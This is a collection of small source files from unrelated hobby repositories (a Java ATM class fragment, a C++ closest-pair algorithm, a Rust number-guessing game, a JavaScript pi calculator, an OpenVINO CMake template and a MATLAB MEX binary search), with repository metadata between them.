BigDecimal currentOverdraftBalance = accountToUpdate.getOverdraft().subtract(overdraftWithdrawAmt);
accountToUpdate.setOpeningBal(new BigDecimal(0));
accountToUpdate.setOverdraft(currentOverdraftBalance);
}
acctMap.put(acct.getAcctNo(), acct);
return acctMap.get(acct.getAcctNo());
}
/**
* This method returns the updated Account Details after addition of the
* Deposited Amount.
*
* @param acct
* ATMUserAccount
* @param depositAmt
* Deposit Amount
* @return ATMUserAccount
*/
public synchronized ATMUserAccount deposityMoneyToATMUserAccount(ATMUserAccount acct, BigDecimal depositAmt) {
BigDecimal newOpeningBalance = acct.getOpeningBal().add(depositAmt);
acct.setOpeningBal(newOpeningBalance);
acctMap.put(acct.getAcctNo(), acct);
return acctMap.get(acct.getAcctNo());
}
}
| 64a3bc3b9d1929f272c34fb685610bafb0fa01f7 | [
"Java",
"INI"
] | 6 | INI | busybalu/atm | 25fe7b001491f9d4b20a8e7188959c24ae29c067 | 5b4cbce374e5f4366507866efcdaec6e89ec2647 |
refs/heads/master | <file_sep>#include <iostream>
#include <cstdint>
#include <cstdio>
#include <cmath>
#include <algorithm>
#include <vector>
#include <cassert>
std::int64_t ans = 1e11; // int64_t тк ответ может переполнить int32_t, 1e11 точно больше ответа
struct Point final {
std::int32_t x;
std::int32_t y;
bool operator==(const Point &other) const {
return (x == other.x) && (y == other.y);
}
};
bool compareByX(const Point left, const Point right) {
if (left.x < right.x)
return true;
if (left.x > right.x)
return false;
return left.y <= right.y;
}
bool compareByY(const Point left, const Point right) {
if (left.y < right.y)
return true;
if (left.y > right.y)
return false;
return left.x <= right.x;
}
void updateAns(const Point left, const Point right) {
ans = std::min(ans, static_cast<std::int64_t>(left.x - right.x) * static_cast<std::int64_t>(left.x - right.x) +
static_cast<std::int64_t>(left.y - right.y) * static_cast<std::int64_t>(left.y - right.y));
}
void countMinDist(std::vector<Point> points_by_x, std::vector<Point> points_by_y) {
assert(points_by_x.size() == points_by_y.size());
std::size_t len = points_by_x.size();
if (len <= 1)
return;
/*
* Разделение на 2 массива сортированных по горизонтали
*/
auto first = begin(points_by_x);
auto last = begin(points_by_x) + len / 2;
std::vector<Point> points_by_x_left(first, last);
first = last;
last = end(points_by_x);
std::vector<Point> points_by_x_right(first, last);
/*
* Разделение на 2 массива сортированных по вертикали
*/
std::vector<Point> points_by_y_left;
std::vector<Point> points_by_y_right;
for (std::size_t i = 0; i < len; ++i) {
if (compareByX(points_by_y[i], points_by_x[len / 2 - 1])) {
points_by_y_left.push_back(points_by_y[i]);
} else {
points_by_y_right.push_back(points_by_y[i]);
}
}
countMinDist(points_by_x_left, points_by_y_left);
countMinDist(points_by_x_right, points_by_y_right);
/*
* Нахождение 'центральных точек'
*/
std::int32_t middle = points_by_x[len / 2 - 1].x;
std::vector<Point> middle_points;
for (std::size_t i = 0; i < len; ++i) {
if ((points_by_y[i].x - middle) * (points_by_y[i].x - middle) <= ans) {
middle_points.push_back(points_by_y[i]);
}
}
/*
* Проверка 'центральных точек'
*/
for (std::size_t i = 0; i < middle_points.size(); ++i) {
for (std::size_t j = i + 1; j < std::min(i + 8, middle_points.size()); ++j) {
updateAns(middle_points[i], middle_points[j]);
}
}
}
int main() {
std::int32_t n, x, y;
std::cin >> n;
std::vector<Point> points_by_x;
std::vector<Point> points_by_y;
for (std::size_t i = 0; i < n; ++i) {
std::cin >> x >> y;
points_by_x.push_back({x, y});
points_by_y.push_back({x, y});
}
sort(begin(points_by_x), end(points_by_x), compareByX);
sort(begin(points_by_y), end(points_by_y), compareByY);
for (std::size_t i = 0; i < n - 1; ++i) {
if (points_by_x[i] == points_by_x[i + 1]) {
std::cout << 0;
return 0;
}
}
countMinDist(points_by_x, points_by_y);
std::cout << ans;
} | 6934b1c7115f7aaec2630a9deeb7f505338a7f96 | [
"C++"
] | 1 | C++ | salkaevruslan/JBTask | 124c23176189b637a8e8f20444b7952d335c7950 | 11378c28263b4dba76faed15a6947fb46819b93b |
refs/heads/main | <repo_name>davionchai/nodejs<file_sep>/README.md
# nodejs
side projects
<file_sep>/pi/pi.js
// Calculating up to 15 decimal places as of the latest update
// Formula based on Chudnovsky algorithm
const bigDecimal = require("js-big-decimal")
class PiToTheNthDigit {
constructor() {
this.C = 640320;
};
factorial(n){
if (n===0 || n===1){
return 1;
};
return n*this.factorial(n-1);
};
calc(n){ //utilizing js-big-decimal module
var pi = new bigDecimal(0);
for (var k=0; k < n; k++) {
var numerator = new bigDecimal(((-1)**k)*this.factorial(6*k)*(13591409 + 545140134*k));
var denominator = new bigDecimal(this.factorial(3*k)*(this.factorial(k)**k)*(this.C**(3*k)));
var pi_flag = numerator.divide(denominator, n);
pi = pi.add(pi_flag);
}
var pi_const = new bigDecimal(12/(this.C**(3/2)));
var final_pi = pi.multiply(pi_const, n);
var big_one = new bigDecimal(1);
return big_one.divide(final_pi, n).round(n - 1).getValue();
};
calcOri(n){ //native calculation without external module
var numerator;
var denominator;
var pi = 0;
for (var k=0; k < n; k++) {
numerator = ((-1)**k)*this.factorial(6*k)*(13591409 + 545140134*k);
denominator = this.factorial(3*k)*(this.factorial(k)**k)*(this.C**(3*k));
pi += numerator/denominator;
};
pi = pi * (12/(this.C**(3/2)));
return parseFloat(1/pi).toPrecision(n);
};
};
const pi = new PiToTheNthDigit();
var n = 16;
console.log(`Value from js-big-decimal: ${pi.calc(n)}`);
console.log(`Value from native Calc: ${pi.calcOri(n)}`);
| dce390ee8af5cef0dbba0d20518101d2ff53b590 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | davionchai/nodejs | f1fc228e6092f37dd90766300a4cb2c8c8bf8114 | 7d350312a404bc1d7a69063e502c6e96aff641cc |
refs/heads/master | <file_sep>class NonPositiveError(Exception):
pass
class PositiveList(list):
def append(self, num):
if num > 0:
super().append(num)
else:
raise NonPositiveError
a = PositiveList()
a.append(2)
a.append(0)
<file_sep>s = input()
t = input()
ans = 0
while t in s:
ans += 1
s = s[s.find(t)+1:]
print(ans)
<file_sep>import os.path
with open('output6.txt', 'w') as ouf:
for current_dir, dirs, files in os.walk('main'):
for i in files:
if i.endswith('.py'):
ouf.write(current_dir+'\n')
break
<file_sep>namespaces = {} #словарь <namespace>: <parent>
variables = {} #слоаврь <namespace>: [<variables>]
def get(namespace, var):
if variables.get(namespace) is not None and var in variables.get(namespace):
return namespace #если переменная в пространстве, возвращает его имя
else:
if namespaces.get(namespace) is None:
return None #если предок пространства None, возвращаем None
else:
return get(namespaces[namespace], var) #ищем переменную в предке пространства (рекурсия)
n = int(input())
for i in range(n):
query = input().split()
if query[0] == 'create':
namespaces[query[1]] = query[2]
if query[0] == 'add':
if variables.get(query[1]):
variables[query[1]].append(query[2]) #добавляем переменную в список переменных пространства
else:
variables[query[1]] = [query[2]] #создаём новый список с переменными для простарнства
if query[0] == 'get':
print(get(query[1], query[2]))
<file_sep>import sys
import re
pattern = r'.*?cat.*?cat'
for line in sys.stdin:
line = line.rstrip()
if re.search(pattern, line):
print(line)
<file_sep>import datetime
year, month, day = (int(i) for i in input().split())
date = datetime.date(year, month, day)
delta = datetime.timedelta(days=int(input()))
ans = date+delta
print(ans.year, ans.month, ans.day)
<file_sep>lines = []
with open('input.txt') as inf:
for line in inf:
lines.append(line)
with open('output.txt', 'w') as ouf:
for i in range(len(lines)):
ouf.write(lines.pop())
<file_sep>import json
def find(name, parents):
for parent in parents:
childs[parent].add(name)
for d in data:
if d['name'] == parent:
if d['parents']:
find(name, d['parents'])
else:
childs[d['name']].add(name)
js = '[{"name": "dfgre", "parents": ["gsdfgre"]}, {"name": "hsdgreg", "parents": ["dfgre", "gsd"]}, {"name": "gsd", "parents": ["dfgre"]}, {"name": "gsdfgre", "parents": []}]'
data = json.loads(js)
childs = {}
for d in data:
childs[d['name']] = set()
childs[d['name']].add(d['name'])
for d in data:
#print(str(d['name'])+' : '+str(d['parents']))
find(d['name'], d['parents'])
for i in sorted(childs):
print(str(i) + ' : ' + str(len(childs[i])))
<file_sep>import requests
import json
import sys
import operator
client_id = '1a1d948b543e58119b2d'
client_secret = '2abc37a3deb70eec60a2a230dfa26866'
# инициируем запрос на получение токена
r = requests.post("https://api.artsy.net/api/tokens/xapp_token",
data={
"client_id": client_id,
"client_secret": client_secret
})
# разбираем ответ сервера
j = json.loads(r.text)
# достаем токен
token = j["token"]
# создаем заголовок, содержащий наш токен
headers = {"X-Xapp-Token" : token}
url = "https://api.artsy.net/api/artists/{}"
artists = {}
with open('dataset_24476_4.txt') as inf:
for line in inf:
r = requests.get(url.format(line.strip()), headers=headers)
artists[r.json()['sortable_name']] = r.json()['birthday']
for artist in sorted(artists.items(), key=operator.itemgetter(1)):
print(artist[0])
<file_sep>from xml.etree import ElementTree
def getChildren(root, level):
for child in root:
colors[child.attrib['color']] += level
getChildren(child, level+1)
colors = {'red': 0, 'green': 0, 'blue': 0}
tree = ElementTree.fromstring(input())
colors[tree.attrib['color']] += 1
getChildren(tree, 2)
print(colors['red'], colors['green'], colors['blue'])
<file_sep>import requests
import re
def find(a, b):
urls = re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', a)
for url in urls:
c = requests.get(url).text
urlsc = re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', c)
if b in urlsc:
return 'Yes'
return 'No'
A = requests.get(input()).text
B = input()
print(find(A, B))
<file_sep>parents = {}
used_classes = set()
def check(clas):
for parent in parents[clas]:
if parent in used_classes:
return True
else:
if parent in parents:
return check(parent)
n = int(input())
for i in range(n):
line = input().split(':')
if len(line) > 1:
parents[line[0].strip()] = [parent for parent in line[1].split()]
m = int(input())
for i in range(m):
clas = input()
if clas in parents and check(clas):
print(clas)
else:
used_classes.add(clas)
<file_sep>classes = {} # класс : [прямые предки]
def isin(parent, child):
if parent == child:
return True
if classes.get(child) is None:
return False
if parent in classes[child]:
return True
else:
for i in classes[child]:
if isin(parent, i):
return True
n = int(input())
for i in range(n):
s = input().split(':')
if len(s) > 1:
classes[s[0].strip()] = [c for c in s[1].split()]
else:
classes[s[0].strip()] = None
q = int(input())
for j in range(q):
query = input().strip().split()
if isin(query[0], query[1]):
print('Yes')
else:
print('No')
print(classes)
<file_sep>import time
class Loggable:
def log(self, msg):
print(str(time.ctime()) + ": " + str(msg))
class LoggableList(Loggable, list):
def append(self, p_object):
super().append(p_object)
self.log(p_object)
<file_sep>s = input()
a = input()
b = input()
ans = 0
if a in s and a in b:
print('Impossible')
else:
while a in s:
s = s.replace(a, b)
ans += 1
print(ans)
<file_sep>import requests
import sys
url = 'http://numbersapi.com/{}/math?json=true'
with open('dataset_24476_3.txt') as inf:
for line in inf:
number = int(line)
res = requests.get(url.format(number))
if res.json()['found']:
print('Interesting')
else:
print('Boring')
<file_sep>import csv
from collections import Counter
types = {}
with open('Crimes.csv') as f:
reader = csv.reader(f)
for row in reader:
if row[2].split()[0].split('/')[2] == '2015':
if row[5] not in types:
types[row[5]] = 1
else:
types[row[5]] += 1
print(Counter(types).most_common(1))
<file_sep>import simplecrypt
from urllib import request
encrypted = request.urlopen('https://stepic.org/media/attachments/lesson/24466/encrypted.bin').read()
passwords = request.urlopen('https://stepic.org/media/attachments/lesson/24466/passwords.txt').read().strip().split()
for password in passwords:
try:
print(simplecrypt.decrypt(password, encrypted))
except simplecrypt.DecryptionException:
pass
<file_sep>import sys
import re
pattern = r'\ba+\b'
for line in sys.stdin:
line = line.rstrip()
print(re.sub(pattern, 'argh', line, 1, re.IGNORECASE))
<file_sep>import sys
for line in sys.stdin.readlines():
try:
if int(line.strip(), base=2) % 3 == 0:
print(line.strip())
except ValueError:
pass<file_sep>import itertools
def isSimple(n):
d = n - 1
while d > 1:
if n % d == 0:
return False
d -= 1
return True
def primes():
for i in range(2, 100500):
if isSimple(i):
yield i
print(list(itertools.takewhile(lambda x : x <= 31, primes())))
<file_sep>import re
from urllib.parse import urlparse, urlsplit
html_doc = """
<a href="http://stepic.org/courses">
<a href="ftp://www.mya.ru">
<a href='https://stepic.org'>
<a link href='http://neerc.ifmo.ru:1345'>
<a target="blank" href='http://sasd.ifmo.ru:1345'>
<a href='http://neerc.ifmo.ru:1345'>
<a href="../some_path/index.html">
<a href="https://www.ya.ru">
<a href="ftp://mail.ru/distib" >
<a href="bya.ru">
<a href="http://www.ya.ru">
<a href="www.kya.ru">
<a href="../skip_relative_links">
<a href="http://stepic.org/courses">
<a class ="hello" href= "http://ftepic.org/courses" id="dfdf">
<p class ="hello" href= "http://dtepic.org/courses">
<a class ="hello" href = "http://a.b.vc.ttepic.org/courses">
<a href='https://stepic.org'>
<a href='http://neerc.ifmo.ru:1345'>
<a href ="ftp://mail.ru/distib" >
<a href="ya.ru">
<a href ="www.ya.ru">
<a href="../skip_relative_links">
<link rel="image_src" href="https://examaple.org/files/6a2/72d/e09/6a272de0944f447fb5972c44cc02f795.png" />
<a href="http://www.gtu.edu.ge/index_e.htm" target="_top">Georgian Technical University</a>
"""
sites = set()
pattern1 = r'<a.*?href=[\'"](.*?)[\'"].*?>'
pattern2 = r'.*?://'
pattern3 = r'\.+'
for link in re.findall(pattern1, html_doc):
if not re.match(pattern2, link) and not re.match(pattern3, link):
link = 'http://'+link
parsed_uri = urlsplit(link)
domain = '{uri.netloc}'.format(uri=parsed_uri)
#print(domain)
if domain:
sites.add(domain.split(':')[0])
for i in sorted(sites):
print(i)
| 5959f8af944e8146bc56ba1d9f1a673a26a21e1e | [
"Python"
] | 22 | Python | gonchandrei/stepic_python | 7dafba3d63fb029d76d63c79c5365e8ca664935a | be10845902ed0728464dcee1f6cf2e8206eacf11 |
refs/heads/master | <file_sep>#!/bin/bash
# Copy System Wide Environment Configuration Files
echo 'Copying intel-openvino.conf file to /etc/ld.so.conf.d/'
cp intel-openvino.conf /etc/ld.so.conf.d/
echo 'Copying intel-openvino.sh file to /etc/profile.d/'
cp intel-openvino.sh /etc/profile.d<file_sep># Intel(R) Distribution of OpenVINO(TM) Toolki Startup Project with CMake
Following instructions assume that you have installed OpenVINO(TM) Toolkit successfully and run the demo applications to validate your installation.
## Windows 10 - Visual Studio Community Edition
This folder contains the CMakeLists.txt files to include Intel Distribution of OpenVINO(TM) Toolkit Inference Engine libraries and header files when you create a new CMake C++ project with Visual Studio Community Edition.
*NOTE*: An additional step required to make this project work correctly is to setting environment variables for all system in Windows.
How to load this project Visual Studio Community Edition on Windows 10?
- Setup Environment Variables as indicated from Intel(R) OpenVINO(TM) Toolkit installation folder. Search for how to setup environment variables in Windows, it would help you.
```
C:\Program Files (x86)\IntelSWTools\openvino\bin\setupvars.bat
```
- Clone this repository
```bash
git clone https://github.com/odundar/openvino_cmake_startup_project.git
```
- Open Visual Studio and Open a folder.
- Wait for processing of files and CMakeLists.txt
- Select x64-Debug or x64-Release
- Select CMake -> Build All
- Then, select target `openvino_startup.exe` from Toolbar clicking on down arrow, select the exe file.
- Click on Debug and Run or Debug the application.
## Ubuntu 16.04 - Eclipse CDT
1. Before installing Eclipse
sudo apt-get install openjdk-8-jre ninja-build
2. After Eclipse installation find eclipse.ini in installation directory and set java directory if you encounter any error while running Eclipse IDE.
`-vm /usr/lib/jvm/java-1.8.0-openjdk-amd64/bin`
Now, you can proceed to create a new CMake project and start using CMakeLists.txt file inside this repo, however inorder to run and debug binary inside Eclipse you should define environment variables and set library paths.
3. Copy `setup_files/intel-openvino.conf` file to `/etc/ld.so.conf.d/` folder
4. Setup environment variables system wide with using `intel-openvino.sh` file, copy file to `/etc/profile.d` folder.
Or simply run config_environment.sh and reboot your PC.
Now, your project should build and you should be able to compile, run and debug your application.
<file_sep>// OpenVINO_Basic.cpp : Defines the entry point for the application.
//
#include "openvino_startup.h"
#include <inference_engine.hpp>
using namespace std;
int main()
{
cout << "Hello CMake." << endl;
cout << InferenceEngine::GetInferenceEngineVersion() << endl;
int a;
cin >> a;
return 0;
}
<file_sep># CMakeList.txt : CMake project for OpenVINO_Basic, include source and define
# project specific logic here.
#
cmake_minimum_required (VERSION 3.5)
set (TARGET_NAME "openvino_startup")
# Set IE Directory
if(WIN32)
set(INTEL_OPENVINO_DIR "C:/Program Files (x86)/IntelSWTools/openvino")
else()
set(INTEL_OPENVINO_DIR "/opt/intel/openvino")
endif()
set(InferenceEngine_DIR ${INTEL_OPENVINO_DIR}/deployment_tools/inference_engine/share)
if (NOT(BIN_FOLDER))
if(CMAKE_SYSTEM_PROCESSOR STREQUAL "armv7l")
set (ARCH armv7l)
elseif("${CMAKE_SIZEOF_VOID_P}" EQUAL "8")
set (ARCH intel64)
else()
set (ARCH ia32)
endif()
set (BIN_FOLDER ${ARCH})
endif()
if(NOT(UNIX))
set (CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER})
set (CMAKE_LIBRARY_PATH ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER})
set (CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER})
set (CMAKE_COMPILE_PDB_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER})
set (CMAKE_PDB_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER})
set (CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER})
set (LIBRARY_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER})
set (LIBRARY_OUTPUT_PATH ${LIBRARY_OUTPUT_DIRECTORY}) # compatibility issue: linux uses LIBRARY_OUTPUT_PATH, windows uses LIBRARY_OUTPUT_DIRECTORY
else ()
set (CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER}/${CMAKE_BUILD_TYPE}/lib)
set (CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER}/${CMAKE_BUILD_TYPE}/lib)
set (CMAKE_COMPILE_PDB_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER}/${CMAKE_BUILD_TYPE})
set (CMAKE_PDB_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER}/${CMAKE_BUILD_TYPE})
set (CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER}/${CMAKE_BUILD_TYPE})
set (LIBRARY_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/${BIN_FOLDER}/${CMAKE_BUILD_TYPE}/lib)
set (LIBRARY_OUTPUT_PATH ${LIBRARY_OUTPUT_DIRECTORY}/lib)
endif()
if (WIN32)
if (NOT "${CMAKE_SIZEOF_VOID_P}" EQUAL "8")
message(FATAL_ERROR "Only 64-bit supported on Windows")
endif()
set_property (DIRECTORY APPEND PROPERTY COMPILE_DEFINITIONS _CRT_SECURE_NO_WARNINGS)
set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -D_SCL_SECURE_NO_WARNINGS -DNOMINMAX")
set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /EHsc") #no asynchronous structured exception handling
set (CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} /LARGEADDRESSAWARE")
if (${CMAKE_CXX_COMPILER_ID} STREQUAL MSVC)
set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /wd4251 /wd4275 /wd4267") #disable some warnings
endif()
else()
set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Werror") #treating warnings as errors
if (APPLE)
set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-error=unused-command-line-argument")
elseif(UNIX)
set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wuninitialized -Winit-self")
if(NOT ${CMAKE_CXX_COMPILER_ID} STREQUAL Clang)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wmaybe-uninitialized")
endif()
endif()
endif()
####################################
## to use C++11
set (CMAKE_CXX_STANDARD 11)
set (CMAKE_CXX_STANDARD_REQUIRED ON)
if (${CMAKE_CXX_COMPILER_ID} STREQUAL GNU)
set (CMAKE_CXX_FLAGS "-std=c++11 ${CMAKE_CXX_FLAGS}")
endif()
####################################
if (${CMAKE_CXX_COMPILER_ID} STREQUAL GNU)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wall")
endif()
if (IE_NOT_FOUND_MESSAGE)
find_package(InferenceEngine 1.6 QUIET)
if (NOT(InferenceEngine_FOUND))
message(FATAL_ERROR ${IE_NOT_FOUND_MESSAGE})
endif()
else()
find_package(InferenceEngine 1.6 REQUIRED)
endif()
if (UNIX)
set (LIB_DL dl)
endif()
# Add source to this project's executable.
add_executable (${TARGET_NAME} "openvino_startup.cpp" "openvino_startup.h")
target_link_libraries(${TARGET_NAME} ${InferenceEngine_LIBRARIES})
# TODO: Add tests and install targets if needed.
| 5b7739480bd5a826a83694695c5c9035c588e29e | [
"Markdown",
"CMake",
"C++",
"Shell"
] | 4 | Shell | odundar/openvino_cmake_startup_project | 67bbc0921a89f19b932178b13495553f8c088735 | cd1c64b66e0e390b3358b1a529670dce65181fd0 |
refs/heads/master | <repo_name>jeffwhite-619/rusticity<file_sep>/README.md
# jwrusty
Exploring the Rust language
Going through the tutorials in The Rust Programming Language online book and experimenting with them a bit.
<file_sep>/guessing_game/src/main.rs
extern crate rand;
use rand::Rng;
use std::io;
use std::cmp::Ordering;
use std::process::exit;
use std::{thread, time};
#[derive(Clone)]
struct Guesser {
tries: u32,
secret_number: u32,
game_type: String,
spread: u32
}
fn main() {
loop {
guessing_game();
}
}
fn new_secret_number()-> u32 {
let sn :u32 = rand::thread_rng().gen_range(1, 101);
return sn;
}
fn reveal_number(guesser: Guesser) {
one_sec();
println!("The secret number is {}", guesser.secret_number);
}
fn build_guesser() -> Guesser {
let guesser = Guesser {
tries: 3,
secret_number: new_secret_number(),
game_type: String::new(),
spread: 0
};
return guesser;
}
fn escape(input: String) {
let stop_commands = vec!["n", "N", "no", "No", "nope", "Nope", "exit", "stop", "quit", "end", "q"];
if stop_commands.contains(&input.trim()) {
exit(0);
}
}
fn guessing_game() {
let mut guesser = build_guesser();
println!("Do you want to play best out of 3, or wager a spread? B|3/s");
let mut game_type: String = String::new();
io::stdin().read_line(&mut game_type).expect("What?");
let esc: String = game_type.clone();
escape(esc);
let best_of_type = vec!["b", "B", "best", "Best", "3", ""];
guesser.game_type = String::from(game_type.trim());
if best_of_type.contains(&game_type.trim()) {
best_of_game(guesser.clone());
return;
}
let spread_type = vec!["s", "S", "spread", "Spread"];
if spread_type.contains(&game_type.trim()) {
spread_game(guesser);
}
end_game();
}
fn best_of_game(guesser: Guesser) {
let guess = ask_game_input();
let in_range = range_check(guess, 1, 100);
if !in_range {
decrement_tries(guesser);
return;
}
one_sec();
let (result, guesser) = guess_number(guess, guesser);
if result {
one_sec();
ask_replay();
return;
}
decrement_tries(guesser);
}
fn spread_game(mut guesser: Guesser) {
guesser.spread = ask_spread_input();
println!("If the number you guess is over or under by {} you win!", guesser.spread);
one_sec();
let guess = ask_game_input();
let (result, guesser) = guess_number(guess, guesser);
reveal_number(guesser);
if result {
println!("You guessed correctly!");
} else {
println!("You guessed wrong!");
}
one_sec();
ask_replay();
}
fn ask_game_input() -> u32 {
one_sec();
let mut input = String::new();
println!("Guess a number between 1 and 100...");
io::stdin().read_line(&mut input).expect("What?");
let esc: String = input.clone();
escape(esc);
let input: u32 = match input.trim().parse() {
Ok(num) => num,
Err(error) => {
println!("Error: {}", error.to_string());
one_sec();
println!("Please enter a number");
return 0;
},
};
return input;
}
fn ask_spread_input() -> u32 {
one_sec();
let mut input = String::new();
let ask_spread = String::from("How close, over or under, do you think you can get to the secret number? (1-20)");
println!("{}", &ask_spread);
io::stdin().read_line(&mut input).expect(&ask_spread);
let esc: String = input.clone();
escape(esc);
let input: u32 = match input.trim().parse() {
Ok(num) => num,
Err(error) => {
println!("{}", error.to_string());
ask_spread_input();
return 0;
},
};
let in_range = range_check(input, 1, 20);
if in_range {
return input;
} else {
ask_spread_input();
return 0;
}
}
fn do_spread(guesser: Guesser, diff: u32)-> (bool, Guesser) {
if 0 == guesser.spread || diff > guesser.spread {
return (true, guesser);
}
return (true, guesser);
}
fn do_guess(guess: u32, guesser: Guesser, over_under: &str)-> (bool, Guesser) {
let is_over: bool = over_under == "over";
let diff = if is_over { guess - guesser.secret_number } else { guesser.secret_number - guess };
one_sec();
println!("You were {} by {}", over_under.to_string(), diff);
return do_spread(guesser, diff);
}
fn guess_number(guess: u32, guesser: Guesser)-> (bool, Guesser) {
println!("You guessed: {}", &guess);
one_sec();
match guess.cmp(&guesser.secret_number) {
Ordering::Less => ({
return do_guess(guess, guesser, "under");
}),
Ordering::Greater => ({
return do_guess(guess, guesser, "over");
}),
Ordering::Equal => ({
one_sec();
println!("You guessed the secret number exactly!");
return (true, guesser);
}),
}
}
fn range_check(input: u32, low: u32, high: u32)-> bool {
if input > high || input < low {
if input > 0 {
one_sec();
println!("The number you guessed is out of bounds.");
}
return false;
}
return true;
}
fn decrement_tries(mut guesser: Guesser) {
guesser.tries = guesser.tries - 1;
one_sec();
if guesser.tries == 0 {
println!("You're out of guesses");
reveal_number(guesser);
ask_replay();
} else {
let is_one: bool = guesser.tries == 1;
let plural = ternary_str(is_one, "try", "tries");
println!("You have {} {} remaining.", guesser.tries, plural);
best_of_game(guesser);
}
}
fn ask_replay() {
one_sec();
let play_again = vec!["y", "Y", "yes", "Yes", "yeah", "Yeah", "yup", "Yup", ""];
let ask: String = String::from("Do you want to play again? Y/n");
let mut input = String::new();
println!("{}", ask);
io::stdin().read_line(&mut input).expect(&ask);
let esc: String = input.clone();
escape(esc);
if play_again.contains(&input.trim()) {
main();
}
}
fn end_game() {
exit(0);
}
fn one_sec() {
thread::sleep(time::Duration::from_millis(1000));
}
// TODO: move this to a tool crate
fn ternary_str(answer: bool, value1: &str, value2: &str)-> String {
println!("{} and {}", value1, value2);
if answer {
return value1.to_string();
} else {
return value2.to_string();
}
}
| 0ea72fe8d65ac56f6a15660dda229decf21571ec | [
"Markdown",
"Rust"
] | 2 | Markdown | jeffwhite-619/rusticity | 6b71a73c2bfc547d00bbd4021841e4eb1ff5ea96 | b571c5e6eadcc3f1aac6eb51bccf9d8352632f6b |
refs/heads/master | <repo_name>siaahmadi/utils<file_sep>/readme.txt
Here, I was unaware of the possibility that a listener could be added for the 'ContinuousValueChange' event
of the sliders and everything could be updated that way. Rather, I took an awry path of piping events to the
Figure and then having the spikepatch and linkedslider classes update the figure appropriately. This has its
own problems, obviously, and is thus declared deprecated.<file_sep>/DataStructures/binsearch_approx.c
/*-----------------------------------
* binary search
* MEX file
*
* ADR 1998
*
* input: Data -- n x 1, assumed to be sorted
* key
* output: index into Data
*
* version 1.1
*
* v 1.1 (Apr 99) - returns NaN if key is NaN
%
% Status: PROMOTED (Release version)
% See documentation for copyright (owned by original authors) and warranties (none!).
% This code released as part of MClust 3.0.
% Version control M3.0.
-----------------------------------*/
#include "mex.h"
#include <math.h>
#include <matrix.h>
#include <stdlib.h>
double binsearch_approx(const double* data, const int n_data, const double key)
{
int lower = 0;
int upper = n_data - 1;
int mid; // will floor by type conversion
while (lower <= upper)
{
mid = (upper + lower) / 2;
if (key == data[mid]) // found
return (double) mid+1;
else if (key == data[lower])
return (double) lower+1;
else if (key == data[upper])
return (double) upper+1;
else if (key < data[mid] && upper > mid)
upper = mid;
else if (data[mid] < key && lower < mid)
lower = mid;
else
break; // key not found
}
if (key < data[0] || data[n_data-1] < key)
return 0;
else
return (-1)*(mid+1); // not found
}
void mexFunction(
int nOUT, mxArray *pOUT[],
int nINP, const mxArray *pINP[])
{
int n_data;
int include_outofrange;
int i_key;
int n_keys;
double *key;
double *data;
double *result;
int lower, upper, mid; // will floor by type conversion
/* check number of arguments: expects 2 inputs, 1 output */
if (nINP != 2 && nINP != 3) // third input can be 0, 1 for "include out of range"
mexErrMsgTxt("Call with Data, key as inputs. Third input can optionally be 0, 1 for 'include out of range'");
if (nOUT != 1)
mexErrMsgTxt("Requires one output.");
/* check validity of inputs */
// if (mxGetM(pINP[1]) * mxGetN(pINP[1]) != 1)
// mexErrMsgTxt("Can only use one key at a time.");
/* unpack inputs */
n_data = mxGetM(pINP[0]) * mxGetN(pINP[0]);
n_keys = mxGetM(pINP[1]) * mxGetN(pINP[1]);
if (nINP == 3 && pINP[2] != 0) // optional provided TRUE
include_outofrange = 1;
else
include_outofrange = 0;
data = (const double *)mxGetPr(pINP[0]);
key = (const double *)mxGetPr(pINP[1]); /* sets key to point to the start of keys */
/* pack outputs */
pOUT[0] = mxCreateDoubleMatrix(mxGetM(pINP[1]), mxGetN(pINP[1]), mxREAL);
result = (double *) mxGetPr(pOUT[0]);
if (n_data == 0) {
*result = 0;
return;
}
for (i_key = 0; i_key < n_keys; i_key++) {
lower = 0;
upper = n_keys - 1;
if (mxIsFinite(*key)) {
*result = binsearch_approx(data, n_data, *key);
if (include_outofrange && *result == 0) {
if (*key < data[0]) // to the left
* result = 1;
else // to the right
*result = n_data;
};
}
else /* NaN or Inf */
*result = mxGetNaN();
result++;
key++;
};
}
| 36e64d5b3dddcd8d68ac0fc3e087d7e027cee4ce | [
"C",
"Text"
